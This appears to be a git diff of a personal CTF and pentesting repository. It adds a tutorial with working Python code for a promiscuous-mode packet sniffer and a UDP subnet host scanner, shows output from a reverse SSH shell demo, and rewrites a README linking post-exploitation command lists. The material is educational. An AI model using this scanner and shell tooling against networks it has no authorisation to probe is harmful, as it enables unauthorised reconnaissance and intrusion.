+[+] Listening for connection ... +[+] Connection Established! +[+] Authenticated! +Enter command: ls +filename.log +ssh_client.py +ssh_client_reverse.py +ssh_server.py +test_rsa.key + +Enter command: +``` + + +--- + +## Further References: + +- [Paramikos reverse SSH tunneling](https://github.com/paramiko/paramiko/blob/master/demos/rforward.py). +- [Ogre: port scanner and brute-force tool (from a friend I met at Hacker School)](https://github.com/tristanfisher/ogre/blob/master/ogre) +- [Black Hat Python](http://www.nostarch.com/blackhatpython). +- [My Gray hat repo](https://github.com/go-outside-labs/My-Gray-Hacker-Resources). diff --git a/Network_and_802.11/telnetlib/reading_telnet.py b/Network_and_802.11/telnetlib/reading_telnet.py index f1e890d..0cb251e 100644 --- a/Network_and_802.11/telnetlib/reading_telnet.py +++ b/Network_and_802.11/telnetlib/reading_telnet.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from telnetlib import Telnet diff --git a/Network_and_802.11/udp_scanner.md b/Network_and_802.11/udp_scanner.md new file mode 100644 index 0000000..0a2e789 --- /dev/null +++ b/Network_and_802.11/udp_scanner.md @@ -0,0 +1,319 @@ +# Building a UDP Scanner + + +When it comes to the reconnaissance of some target network, the start point is undoubtedly on host discovering. This task might come together with the ability to sniff and parse the packets flying through the network. + +First, we are going to see how we deal with [raw sockets](http://en.wikipedia.org/wiki/Raw_socket) to write a simple sniffer, which is able to view and decode network packets. Then we are going to multithread this process within a subnet, which will result in our scanner. + +The cool thing about **raw sockets** is that they allow access to low-level networking information. For example, we can use it to check **IP** and **ICMP** headers, which are in layer 3 of the OSI model (the network layer). + +The cool thing about using **UDP datagrams** is that, differently from **TCP**, they do not bring much overhead when sent across an entire subnet (remember the TCP [handshaking](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml)). All we need to do is wait for the **ICMP** responses saying whether the hosts are available or closed (unreachable). +Remember that ICMP is essentially a special control protocol that issues error reports and can control the behavior of machines in data transfer. + +---- + +## Writing a Packet Sniffer + +We start with a very simple task: with Python's [socket](http://https://singularity-sh.vercel.app/black-hat-python-networking-the-socket-module.html) library, we will write a very simple packet sniffer. + +In this sniffer, we create a raw socket and then we bind it to the public interface. The interface should be in **promiscuous mode**, which means that every packet that the network card sees is captured, even those that are not destined to the host. + +One detail to remember is that things are slightly different if we are using Windows: in this case, we need to send a [IOCTL](http://en.wikipedia.org/wiki/Ioctl) package to set the interface to **promiscuous mode**. In addition, while Linux needs to use ICMP, Windows allows us to sniff the incoming packets independently of the protocol: + + +```python +import socket +import os + +# host to listen +HOST = '192.168.1.114' + +def sniffing(host, win, socket_prot): + while 1: + sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_prot) + sniffer.bind((host, 0)) + + # include the IP headers in the captured packets + sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + + if win == 1: + sniffer.ioctl(socket.SIO_RCVALL, socket_RCVALL_ON) + + # read in a single packet + print sniffer.recvfrom(65565) + +def main(host): + if os.name == 'nt': + sniffing(host, 1, socket.IPPROTO_IP) + else: + sniffing(host, 0, socket.IPPROTO_ICMP) + +if __name__ == '__main__': + main(HOST) +``` + +To test this script, we run the following command in one terminal window: +```sh +$ sudo python sniffer.py +``` + +Then, in a second window, we can [ping](http://en.wikipedia.org/wiki/Ping_(networking_utility)) or [traceroute](http://en.wikipedia.org/wiki/Traceroute) some address, for example [www.google.com](www.google.com). The results will look like this: + +```sh +$ sudo python raw_socket.py +('E\x00\x00T\xb3\xec\x00\x005\x01\xe4\x13J}\xe1\x11\xc0\xa8\x01r\x00\x00v\xdfx\xa2\x00\x01sr\x98T\x00\x00\x00\x008\xe3\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567', ('74.125.225.17', 0)) +('E\x00\x00T\xb4\x1b\x00\x005\x01\xe3\xe4J}\xe1\x11\xc0\xa8\x01r\x00\x00~\xd7x\xa2\x00\x02tr\x98T\x00\x00\x00\x00/\xea\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567', ('74.125.225.17', 0)) +``` + +Now it's pretty obvious that we need to decode these headers. + +---- + +## Decoding the IP and ICMP Layers + +### The IP Header +A typical IP header has the following structure, where each field belongs to a variable (this header is originally [written in C](http://minirighi.sourceforge.net/html/structip.html)): + + + + +### The ICMP Header +In the same way, ICMP can vary in its content but each message contains three elements that are consistent: **type** and **code** (tells the receiving host what type of ICMP message is arriving for decoding) and **checksum** fields. + + + + +For our scanner, we are looking for a **type value of 3** and a **code value of 3**, which are the **Destination Unreachable** class and **Port Unreachable** [errors in ICMP messages](http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages). + + +To represent this header, we create a class, with the help of Python's [ctypes](https://docs.python.org/2/library/ctypes.html) library: + +```python +import ctypes + +class ICMP(ctypes.Structure): + _fields_ = [ + ('type', ctypes.c_ubyte), + ('code', ctypes.c_ubyte), + ('checksum', ctypes.c_ushort), + ('unused', ctypes.c_ushort), + ('next_hop_mtu',ctypes.c_ushort) + ] + + def __new__(self, socket_buffer): + return self.from_buffer_copy(socket_buffer) + + def __init__(self, socket_buffer): + pass +``` + +### Writing the Header Decoder + +Now we are ready to write our IP/ICMP header decoder. The script below creates a sniffer socket (just as we did before) and then it runs a loop to continually read in packets and decode their information. + +Notice that for the IP header, the code reads the packet, unpacks the first 20 bytes to the raw buffer, and then prints the header variables. The ICMP header data comes right after it: + +```python +import socket +import os +import struct +import ctypes +from ICMPHeader import ICMP + +# host to listen on +HOST = '192.168.1.114' + +def main(): + socket_protocol = socket.IPPROTO_ICMP + sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) + sniffer.bind(( HOST, 0 )) + sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + + while 1: + raw_buffer = sniffer.recvfrom(65565)[0] + ip_header = raw_buffer[0:20] + iph = struct.unpack('!BBHHHBBH4s4s' , ip_header) + + # Create our IP structure + version_ihl = iph[0] + version = version_ihl >> 4 + ihl = version_ihl & 0xF + iph_length = ihl * 4 + ttl = iph[5] + protocol = iph[6] + s_addr = socket.inet_ntoa(iph[8]); + d_addr = socket.inet_ntoa(iph[9]); + + print 'IP -> Version:' + str(version) + ', Header Length:' + str(ihl) + \ + ', TTL:' + str(ttl) + ', Protocol:' + str(protocol) + ', Source:'\ + + str(s_addr) + ', Destination:' + str(d_addr) + + # Create our ICMP structure + buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)] + icmp_header = ICMP(buf) + + print "ICMP -> Type:%d, Code:%d" %(icmp_header.type, icmp_header.code) + '\n' + +if __name__ == '__main__': + main() +``` + + +### Testing the Decoder +Running the script in one terminal and sending a **ping** in other will return something like this (notice the ICMP type 0): + +```sh +$ ping www.google.com +PING www.google.com (74.125.226.16) 56(84) bytes of data. +64 bytes from lga15s42-in-f16.1e100.net (74.125.226.16): icmp_seq=1 ttl=56 time=15.7 ms +64 bytes from lga15s42-in-f16.1e100.net (74.125.226.16): icmp_seq=2 ttl=56 time=15.0 ms +(...) +``` + +```sh +$ sudo python ip_header_decode.py +IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.16, Destination:192.168.1.114 +ICMP -> Type:0, Code:0 +IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.16, Destination:192.168.1.114 +ICMP -> Type:0, Code:0 +(...) +``` + +In the other hand, if we run **traceroute** instead: +```sh +$ traceroute www.google.com +traceroute to www.google.com (74.125.226.50), 30 hops max, 60 byte packets + 1 * * * + 2 * * * + 3 67.59.255.137 (67.59.255.137) 17.183 ms 67.59.255.129 (67.59.255.129) 70.563 ms 67.59.255.137 (67.59.255.137) 21.480 ms + 4 451be075.cst.lightpath.net (65.19.99.117) 14.639 ms rtr102.wan.hcvlny.cv.net (65.19.99.205) 24.086 ms 451be075.cst.lightpath.net (65.19.107.117) 24.025 ms + 5 64.15.3.246 (64.15.3.246) 24.005 ms 64.15.0.218 (64.15.0.218) 23.961 ms 451be0c2.cst.lightpath.net (65.19.120.194) 23.935 ms + 6 72.14.215.203 (72.14.215.203) 23.872 ms 46.943 ms * + 7 216.239.50.141 (216.239.50.141) 48.906 ms 46.138 ms 46.122 ms + 8 209.85.245.179 (209.85.245.179) 46.108 ms 46.095 ms 46.074 ms + 9 lga15s43-in-f18.1e100.net (74.125.226.50) 45.997 ms 19.507 ms 16.607 ms + +``` +We get something like this (notice the [several types of ICMP responses](http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages)): +```sh +sudo python ip_header_decode.py +IP -> Version:4, Header Length:5, TTL:252, Protocol:1, Source:65.19.99.117, Destination:192.168.1.114 +ICMP -> Type:11, Code:0 +(...) +IP -> Version:4, Header Length:5, TTL:250, Protocol:1, Source:72.14.215.203, Destination:192.168.1.114 +ICMP -> Type:11, Code:0 +IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.50, Destination:192.168.1.114 +ICMP -> Type:3, Code:3 +IP -> Version:4, Header Length:5, TTL:249, Protocol:1, Source:216.239.50.141, Destination:192.168.1.114 +ICMP -> Type:11, Code:0 +(...) +IP -> Version:4, Header Length:5, TTL:56, Protocol:1, Source:74.125.226.50, Destination:192.168.1.114 +ICMP -> Type:3, Code:3 +``` + + + + +------ +## Writing the Scanner + +### Installing netaddr + +We are ready to write our full scanner. But, first, let's install [netaddr](https://pypi.python.org/pypi/netaddr), which is a Python library for representing and manipulating network addresses. + +Netaddr supports the ability to work with IPv4 and IPv6 addresses and subnets MAC addresses, among others. This is very useful for our problem since we want to be able to use a subnet mask such as 192.168.1.0/24. + +```sh +$ sudo pip install netaddr +``` + +We can quickly test this library with the following snippet (which should print "OK"): +```python +import netaddr + +ip = '192.168.1.114' +if ip in netaddr.IPNetwork('192.168.1.0/24'): + print('OK!') +``` + +### Enter the Scanner + +To write our scanner we are going to put together everything we have, and then add a loop to spray UDP datagrams with a string signature to all the address within our target subnet. + +To make this work, each packet will be sent in a separated thread, to make sure that we are not interfering with the sniff responses: + +```python +import threading +import time +import socket +import os +import struct +from netaddr import IPNetwork, IPAddress +from ICMPHeader import ICMP +import ctypes + +# host to listen on +HOST = '192.168.1.114' +# subnet to target (iterates through all IP address in this subnet) +SUBNET = '192.168.1.0/24' +# string signature +MESSAGE = 'hellooooo' + +# sprays out the udp datagram +def udp_sender(SUBNET, MESSAGE): + time.sleep(5) + sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for ip in IPNetwork(SUBNET): + try: + sender.sendto(MESSAGE, ("%s" % ip, 65212)) + except: + pass + +def main(): + t = threading.Thread(target=udp_sender, args=(SUBNET, MESSAGE)) + t.start() + + socket_protocol = socket.IPPROTO_ICMP + sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) + sniffer.bind(( HOST, 0 )) + sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + + # continually read in packets and parse their information + while 1: + raw_buffer = sniffer.recvfrom(65565)[0] + ip_header = raw_buffer[0:20] + iph = struct.unpack('!BBHHHBBH4s4s' , ip_header) + + # Create our IP structure + version_ihl = iph[0] + ihl = version_ihl & 0xF + iph_length = ihl * 4 + src_addr = socket.inet_ntoa(iph[8]); + + # Create our ICMP structure + buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)] + icmp_header = ICMP(buf) + + # check for the type 3 and code and within our target subnet + if icmp_header.code == 3 and icmp_header.type == 3: + if IPAddress(src_addr) in IPNetwork(SUBNET): + if raw_buffer[len(raw_buffer) - len(MESSAGE):] == MESSAGE: + print("Host up: %s" % src_addr) + +if __name__ == '__main__': + main() +``` + +Finally, running the scanner gives a result similar to this: +```sh +$ sudo python scanner.py +Host up: 192.168.1.114 +(...) +``` + + +## Further References: + +- [Tutorial to learn netaddr](https://netaddr.readthedocs.org/en/latest/tutorial_01.html). +- [Black Hat Python](http://www.nostarch.com/blackhatpython). +- [My Gray hat repo](https://github.com/go-outside-labs/My-Gray-Hacker-Resources). \ No newline at end of file diff --git a/Network_and_802.11/wireshark_stuff/.DS_Store b/Network_and_802.11/wireshark_stuff/.DS_Store deleted file mode 100644 index dc8a48a..0000000 Binary files a/Network_and_802.11/wireshark_stuff/.DS_Store and /dev/null differ diff --git a/Network_and_802.11/wireshark_stuff/README.md b/Network_and_802.11/wireshark_stuff/README.md index 260c4c7..0d4efae 100644 --- a/Network_and_802.11/wireshark_stuff/README.md +++ b/Network_and_802.11/wireshark_stuff/README.md @@ -1,9 +1,9 @@ -# [Wireshark Guide (by bt3)](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html) +# Wireshark Guide [Wireshark](https://www.wireshark.org/) is an open source **network packet analyzer** that allows live traffic analysis, with support to several protocols. -Wireshark also allows **network forensic**, being very useful for CTFs for example (check my writeups for the [D-CTF Quals 2014](http://bt3gl.github.io/exploring-d-ctf-quals-2014s-exploits.html) and for the CSAW Quals 2014 in [Networking](http://bt3gl.github.io/csaw-ctf-2014-networking-100-big-data.html) and [Forensics](http://bt3gl.github.io/csaw-ctf-2014-forensics-200-why-not-sftp.html)). +Wireshark also allows **network forensic**, being very useful for CTFs for example (check my writeups for the [D-CTF Quals 2014](http://https://singularity-sh.vercel.app/exploring-d-ctf-quals-2014s-exploits.html) and for the CSAW Quals 2014 in [Networking](http://https://singularity-sh.vercel.app/csaw-ctf-2014-networking-100-big-data.html) and [Forensics](http://https://singularity-sh.vercel.app/csaw-ctf-2014-forensics-200-why-not-sftp.html)). diff --git a/Other_Hackings/.DS_Store b/Other_Hackings/.DS_Store index 12c8907..0b496a1 100644 Binary files a/Other_Hackings/.DS_Store and b/Other_Hackings/.DS_Store differ diff --git a/Dockerfiles/Dockerfile_kali b/Other_Hackings/Dockerfiles_for_Hacking/Dockerfile_kali similarity index 100% rename from Dockerfiles/Dockerfile_kali rename to Other_Hackings/Dockerfiles_for_Hacking/Dockerfile_kali diff --git a/Other_Hackings/Dockerfiles_for_Hacking/README.md b/Other_Hackings/Dockerfiles_for_Hacking/README.md new file mode 100644 index 0000000..8db4349 --- /dev/null +++ b/Other_Hackings/Dockerfiles_for_Hacking/README.md @@ -0,0 +1 @@ +# Pentesting Dockerfiles diff --git a/Other_guides/cRYvK4jb.txt b/Other_Hackings/Guides_from_other_hackers/cRYvK4jb.txt similarity index 100% rename from Other_guides/cRYvK4jb.txt rename to Other_Hackings/Guides_from_other_hackers/cRYvK4jb.txt diff --git a/Other_Hackings/README.md b/Other_Hackings/README.md index ad6685a..c9b47cc 100644 --- a/Other_Hackings/README.md +++ b/Other_Hackings/README.md @@ -1,5 +1,3 @@ -# OTHER HACKINGS - ## Facebook Hacking - Bday thanks diff --git a/Other_Hackings/useful_lists/.DS_Store b/Other_Hackings/useful_lists/.DS_Store deleted file mode 100644 index c619f6a..0000000 Binary files a/Other_Hackings/useful_lists/.DS_Store and /dev/null differ diff --git a/Other_Hackings/useful_scripts/find_word_inside_text.py b/Other_Hackings/useful_scripts/find_word_inside_text.py index 2323244..4b8392a 100644 --- a/Other_Hackings/useful_scripts/find_word_inside_text.py +++ b/Other_Hackings/useful_scripts/find_word_inside_text.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3gl" +__author__ = "Mia Stein" # given two text, find the difference between them # useful for ciphers, for example vinegere, when @@ -22,4 +22,4 @@ if __name__ == '__main__': index = find_word(A, B) print A[index: index + 15] - print B[index: index + 15] \ No newline at end of file + print B[index: index + 15] diff --git a/Other_Hackings/wordlists/.DS_Store b/Other_Hackings/wordlists/.DS_Store deleted file mode 100644 index 0a40e0a..0000000 Binary files a/Other_Hackings/wordlists/.DS_Store and /dev/null differ diff --git a/Pen_Testing/.DS_Store b/Pentesting_Scripts/.DS_Store similarity index 100% rename from Pen_Testing/.DS_Store rename to Pentesting_Scripts/.DS_Store diff --git a/Pen_Testing/README.md b/Pentesting_Scripts/README.md similarity index 93% rename from Pen_Testing/README.md rename to Pentesting_Scripts/README.md index 0099c2f..27def1e 100644 --- a/Pen_Testing/README.md +++ b/Pentesting_Scripts/README.md @@ -1,8 +1,9 @@ -# Pen-Testing +# Pentesting Scripts + ## Auditing Code -* Initial value assigments (failure to asign initial values can lead to vulnerabilities). +* Initial value assignments (failure to assign initial values can lead to vulnerabilities). * Memory corruption (see Memory_Exploits folder). @@ -11,7 +12,6 @@ - free: LLVM Clang Static Analyzer, FindBugs (Java), RATS ----- ## Threat Modeling (Design Review) @@ -51,5 +51,3 @@ * Both source and binary access * Checked build: an binary with no source code but with debugging information. * Source black box: black box and fuzz testing (example: web applications). Example: auditing a web server with entry point at TCP port 80, you use a HTTP protocol fuzzer. - ----- diff --git a/Pen_Testing/networkintrusionpostermed.png b/Pentesting_Scripts/networkintrusionpostermed.png similarity index 100% rename from Pen_Testing/networkintrusionpostermed.png rename to Pentesting_Scripts/networkintrusionpostermed.png diff --git a/README.md b/README.md index 6b018c5..4dcbdc0 100644 --- a/README.md +++ b/README.md @@ -1,139 +1,95 @@ -# 👾 Gray Hacker Resources 👾 +# 🏴☠️🛠 pentesting toolkit -A big bag of Fun. Educational purposes. +<br> - +#### 👾 hi, anon. i am bt3gl, and this repository contains resources I used when I was a ctf player in 2014-2015. + +#### 👾 some context of those *good old days*: + - **👉🏽 my two teams in ctf times: [snatch the root](https://ctftime.org/team/7016) and [hacking for soju](https://ctftime.org/team/3208)** + - **[👉🏽 my former blog, "chmod a+x singularity.sh", with several ctf writeups](https://singularity-sh.vercel.app/)** + - **[👉🏽 my 2014's coderwall page with several writeups on linux, security, python](https://coderwall.com/bt3gl)** + - **[👉🏽 some entertaining: my DEF CON 23 talk on hacking quantum computing](https://www.youtube.com/watch?v=1Fp6ibfOQ4Y)** + - **[👉🏽 a proof that this repo used to have 1.2k stars and 500 forks before I had to make it private](FML.png)** + - **[👉🏽 threat-intel, i project i led while working at the security team at yelp](https://github.com/Yelp/threat_intel)** + +<br> -## ⚡️ Resource Links +------- -### * [CTFs and WARGAMES](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/CTFs_and_WarGames) -### * [CRYPTOGRAPHY](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Cryptography) -### * [FORENSICS](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Forensics) -### * [LINUX HACKING](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Linux_Hacking) -### * [MEMORY EXPLOITS](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Memory_Exploits) -### * [VULNERABILITIES AND EXPLOITS](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Vulnerabilities_and_Exploits) -### * [NETWORK and 802.11](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Network_and_802.11) -### * [REVERSE ENGINEERING](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Reverse_Engineering) -### * [RUBBER DUCK](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Rubber_Duck) -### * [STEGANOGRAPHY](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Steganography) -### * [WEB EXPLOITS](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Web_Security) -### * [OTHER HACKINGS](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Other_Hackings) -### * [PEN TESTING](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Pen_Testing) -### * [MOBILE](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Mobile) -### * [BOTNETS](https://github.com/bt3gl/My-Gray-Hacker-Resources/tree/master/Botnets) +## directories ----- +<br> -### ⚡️ Post-Exploitation - -* [Metasploit Post Exploitation Command List](https://docs.google.com/document/d/1ZrDJMQkrp_YbU_9Ni9wMNF2m3nIPEA_kekqqqA2Ywto/edit) - -* [Obscure Systems (AIX, Embeded, etc) Post-Exploit Command List](https://docs.google.com/document/d/1CIs6O1kMR-bXAT80U6Jficsqm0yR5dKUfUQgwiIKzgc/edit). - -* [OSX Post-Exploitation](https://docs.google.com/document/d/10AUm_zUdAQGgoHNo_eS0SO1K-24VVYnulUD2x3rJD3k/edit?hl=en_US). - -* [Windows Post-Exploitation Command List](https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit?hl=en_US). - -* [Linux/Unix/BSD Post-Exploitation Command List](https://docs.google.com/document/d/1ObQB6hmVvRPCgPTRZM5NMH034VDM-1N-EWPRz2770K4/edit?hl=en_US). - ----- - -### ⚡️ Useful Command Line - -#### Searching +* **[CTFs and Wargames](CTFs_and_WarGames)** +* **[Cloud and K8s Hacking](Cloud_and_K8s_Hacking)** +* **[Cryptography](Cryptography)** +* **[Forensics](Forensics)** +* **[Linux Hacking](Linux_Hacking)** +* **[Mobile Hacking](Mobile_Hacking)** +* **[Network and 802.11](Network_and_802.11)** +* **[Other Hackings](Other_Hackings)** +* **[Pentesting Scripts](Pentesting_Scripts)** +* **[Reverse Engineering](Reverse_Engineering)** +* **[Steganography](Steganography)** +* **[Vulnerabilities and Exploits](Vulnerabilities_and_Exploits)** +* **[Web Hacking](Web_Hacking)** -``` -grep word f1 +<br> -sort | uniq -c +------ -diff f1 f2 +## external resources -find -size f1 -``` +<br> + +### general hacking + +<br> + +* **[The Art of Intrusion](http://www.amazon.com/The-Art-Intrusion-Intruders-Deceivers/dp/0471782661http://www.amazon.com/The-Art-Intrusion-Intruders-Deceivers/dp/0471782661)** +* **Krebs Series on how to be in InfoSec: [Thomas Ptacek](http://krebsonsecurity.com/2012/06/how-to-break-into-security-ptacek-edition/#more-15594), [Bruce Schneier](http://krebsonsecurity.com/2012/07/how-to-break-into-security-schneier-edition/#more-15592), [Charlie Miller](http://krebsonsecurity.com/category/how-to-break-into-security/)** +* **[How to be a InfoSec Geek](http://www.primalsecurity.net/how-to-be-an-infosec-geek/)** +* **[Continuous security](https://www.infoq.com/news/2019/08/continuous-security/)** +* **[How to not get hacked](https://kubernetes.io/blog/2018/07/18/11-ways-not-to-get-hacked/)** +* **[Awesome Privilege Escalation](https://github.com/m0nad/awesome-privilege-escalation)** +<br> + +### post-exploitation + +<br> + +* **[Metasploit Post Exploitation Command List](https://docs.google.com/document/d/1ZrDJMQkrp_YbU_9Ni9wMNF2m3nIPEA_kekqqqA2Ywto/edit)** +* **[Obscure Systems (AIX, Embedded, etc) Post-Exploit Command List](https://docs.google.com/document/d/1CIs6O1kMR-bXAT80U6Jficsqm0yR5dKUfUQgwiIKzgc/edit)** +* **[OSX Post-Exploitation](https://docs.google.com/document/d/10AUm_zUdAQGgoHNo_eS0SO1K-24VVYnulUD2x3rJD3k/edit?hl=en_US)** +* **[Windows Post-Exploitation Command List](https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit?hl=en_US)** +* **[Linux/Unix/BSD Post-Exploitation Command List](https://docs.google.com/document/d/1ObQB6hmVvRPCgPTRZM5NMH034VDM-1N-EWPRz2770K4/edit?hl=en_US)** + +<br> + +### books + +<br> + +* **[Bulletproof SSL and TLS](http://www.amazon.com/gp/product/1907117040?psc=1&redirect=true&ref_=oh_aui_detailpage_o06_s00)** +* **[Reversing: Secrets of Reverse Engineering](http://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817)** +* **[The Art of Memory Forensics](http://www.amazon.com/gp/product/1118825098?psc=1&redirect=true&ref_=oh_aui_search_detailpage)** +* **[The C Programming Language](http://www.amazon.com/gp/product/0131103628?psc=1&redirect=true&ref_=oh_aui_search_detailpage)** +* **[The Unix Programming Environment](http://www.amazon.com/gp/product/013937681X?psc=1&redirect=true&ref_=oh_aui_search_detailpage)** +* **[UNIX Network Programming](http://www.amazon.com/gp/product/0139498761?psc=1&redirect=true&ref_=oh_aui_search_detailpage)** +* **[Threat Modeling: Designing for Security](http://www.amazon.com/Threat-Modeling-Designing-Adam-Shostack/dp/1118809998)** +* **[The Tangled Web](http://www.amazon.com/The-Tangled-Web-Securing-Applications/dp/1593273886)** +* **[The Art of Exploitation](http://www.amazon.com/Hacking-The-Art-Exploitation-Edition/dp/1593271441)** +* **[The Art of Software Security Assessment](http://www.amazon.com/The-Software-Security-Assessment-Vulnerabilities/dp/0321444426)** +* **[Practical Packet Analysis](http://www.nostarch.com/packet2.htm)** +* **[Gray Hat Python](http://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921)** +* **[Black Hat Python](http://www.nostarch.com/blackhatpython)** +* **[Violent Python](http://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579)** +* **[Shellcoders Handbook](http://www.amazon.com/The-Shellcoders-Handbook-Discovering-Exploiting/dp/047008023X)** +* **[Practice Malware Analysis](https://www.nostarch.com/malware)** +* **[This Machine Kills Secrets](http://www.amazon.com/This-Machine-Kills-Secrets-Whistleblowers/dp/0142180491/ref=sr_1_1?s=books&ie=UTF8&qid=1436039456&sr=1-1&keywords=this+Machine+Kills+Secrets)** -#### Compressed Files - - -``` -zcat f1 > f2 - -gzip -d file - -bzip2 -d f1 - -tar -xvf file -``` - - - -#### Connecting to a Server/Port - -``` - -nc localhost 30000 - -echo 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e | nc localhost 30000 - -openssl s_client -connect localhost:30001 -quiet - -nmap -p 31000-32000 localhost - -telnet localhost 3000 -``` - - ----- - -## ⚡️ References: - -### Books I Recommend - -#### Technical -- [Bulletproof SSL and TLS](http://www.amazon.com/gp/product/1907117040?psc=1&redirect=true&ref_=oh_aui_detailpage_o06_s00) -- [Reversing: Secrets of Reverse Engineering](http://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817) -- [The Art of Memory Forensics](http://www.amazon.com/gp/product/1118825098?psc=1&redirect=true&ref_=oh_aui_search_detailpage) -- [The C Programming Language](http://www.amazon.com/gp/product/0131103628?psc=1&redirect=true&ref_=oh_aui_search_detailpage) -- [The Unix Programming Environment](http://www.amazon.com/gp/product/013937681X?psc=1&redirect=true&ref_=oh_aui_search_detailpage) -- [UNIX Network Programming](http://www.amazon.com/gp/product/0139498761?psc=1&redirect=true&ref_=oh_aui_search_detailpage) -- [Threat Modeling: Designing for Security](http://www.amazon.com/Threat-Modeling-Designing-Adam-Shostack/dp/1118809998) -- [The Tangled Web](http://www.amazon.com/The-Tangled-Web-Securing-Applications/dp/1593273886) -- [The Art of Exploitation](http://www.amazon.com/Hacking-The-Art-Exploitation-Edition/dp/1593271441) -- [The Art of Software Security Assessment](http://www.amazon.com/The-Software-Security-Assessment-Vulnerabilities/dp/0321444426) -- [Practical Packet Analysis](http://www.nostarch.com/packet2.htm) -- [Gray Hat Python](http://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921) -- [Black Hat Python](http://www.nostarch.com/blackhatpython) -- [Violent Python](http://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579) -- [Shellcoders Handbook](http://www.amazon.com/The-Shellcoders-Handbook-Discovering-Exploiting/dp/047008023X) -- [Practice Malware Analysis](https://www.nostarch.com/malware) - -#### Fun - -- [Spam Nation](http://www.amazon.com/Spam-Nation-Organized-Cybercrime-Epidemic/dp/1492603236/ref=tmm_pap_swatch_0?_encoding=UTF8&sr=&qid=) -- [The Art of Intrusion](http://www.amazon.com/The-Art-Intrusion-Intruders-Deceivers/dp/0471782661http://www.amazon.com/The-Art-Intrusion-Intruders-Deceivers/dp/0471782661) -- [This Machine Kills Secrets](http://www.amazon.com/This-Machine-Kills-Secrets-Whistleblowers/dp/0142180491/ref=sr_1_1?s=books&ie=UTF8&qid=1436039456&sr=1-1&keywords=this+Machine+Kills+Secrets) - -### Other Resources - -- Krebs Series on how to be in InfoSec: [Thomas Ptacek](http://krebsonsecurity.com/2012/06/how-to-break-into-security-ptacek-edition/#more-15594), [Bruce Schneier](http://krebsonsecurity.com/2012/07/how-to-break-into-security-schneier-edition/#more-15592), [Charlie Miller](http://krebsonsecurity.com/category/how-to-break-into-security/) -- [How to be a InfoSec Geek](http://www.primalsecurity.net/how-to-be-an-infosec-geek/) -- [My Blog](http://bt3gl.github.io/index.html) - - - ----- - - -## License - -When making a reference to my work, please use my [website](http://bt3gl.github.io/index.html). - -<a rel="license" href="http://creativecommons.org/licenses/by-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a><br /> - -This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/). - diff --git a/Reverse_Engineering/README.md b/Reverse_Engineering/README.md index b3e5576..8589d7a 100644 --- a/Reverse_Engineering/README.md +++ b/Reverse_Engineering/README.md @@ -1,11 +1,13 @@ # Reverse Engineering + + * Objective: turn a x86 binary executable back into C source code. * Understand how the compiler turns C into assembly code. * Low-level OS structures and executable file format. --- -##Assembly 101 +## Assembly 101 ### Arithmetic Instructions @@ -116,7 +118,7 @@ p = q + (z + 1) ``` becomes -```` +``` temp = z + 1 a = b + z p = q + z @@ -164,6 +166,7 @@ Becomes: y = x + x y = (x << 4) - x ``` + #### Code block reordering Codes such as : @@ -177,6 +180,7 @@ l1: l2: return; ``` + Becomes: ``` if (a > 10) goto l1 @@ -198,6 +202,7 @@ goto l2 #### Instruction scheduling Assembly code like: + ``` mov eax, [esi] add eax, 1 @@ -205,6 +210,7 @@ mov ebx, [edi] add ebx, 1 ``` Becomes: + ``` mov eax, [esi] mov ebx, [edi] @@ 